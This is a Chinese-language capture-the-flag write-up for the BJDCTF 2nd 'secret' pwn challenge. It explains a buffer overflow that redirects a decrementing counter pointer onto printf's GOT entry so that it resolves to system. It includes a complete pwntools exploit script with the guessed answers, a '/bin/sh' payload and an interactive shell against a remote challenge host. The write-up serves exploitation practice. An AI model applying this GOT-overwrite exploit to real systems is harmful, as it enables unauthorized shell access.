BJDCTF 2nd secret
程序员文章站
2022-05-15 21:51:26
...
BJDCTF 2nd secret
首先,检查一下程序的保护机制
然后,我们用IDA分析一下
是一个猜数游戏,数值全在代码里,但是有10000个,显然全部抠出来太慢了。
我们再看一下其他函数,发现输入name时,存在缓冲区溢出,可以改写0x000000000046D090处的指针,而该处指针指向count变量,每猜一下,就会对count减1。
然后,我们注意到printf的got表的值比system的got表的值大,并且相差0x10.
因此,我们可以利用溢出,把指针覆盖为printf的got表,然后猜对15次,最后一次猜错。这会导致printf的got表值减去16,也就变成了system的got表一样的值。从而能够调用system。
#coding:utf8
from pwn import *
#sh = process('./secret')
sh = remote('node3.buuoj.cn',26191)
elf = ELF('./secret')
printf_got = elf.got['printf']
answer = [0x476B,0x2D38,0x4540,0x3E77,0x3162,0x3F7D,0x357A,0x3CF5,0x2F9E,0x41EA,0x48D8,0x2763,0x474C,0x3809,0x2E63]
payload = '/bin/sh\x00'.ljust(0x10,'\x00') + p32(printf_got)
sh.sendafter("What's your name?",payload)
for x in answer:
sh.sendlineafter('Secret:',str(x))
#现在printf的got表被修改为了system_plt
#getshell
sh.sendlineafter('Secret:','1')
sh.interactive()
推荐阅读
-
如何申请百度文字识别apikey和Secret Key的方法步骤
-
Beginning Python Games Development(2nd)
-
phpmyadmin配置文件现在需要绝密的短密码(blowfish_secret)的2种解决方法
-
[极客大挑战 2019]Secret File
-
[极客大挑战 2019]Secret File
-
极客大挑战2019 Secret File
-
[极客大挑战 2019]Secret File
-
BUUCTF-web-[极客大挑战 2019]Secret File
-
buu做题笔记——[BJDCTF2020]Mark loves cat&[MRCTF2020]Ez_bypass&[GKCTF2020]CheckIN
-
[BUUCTF]REVERSE——[BJDCTF 2nd]8086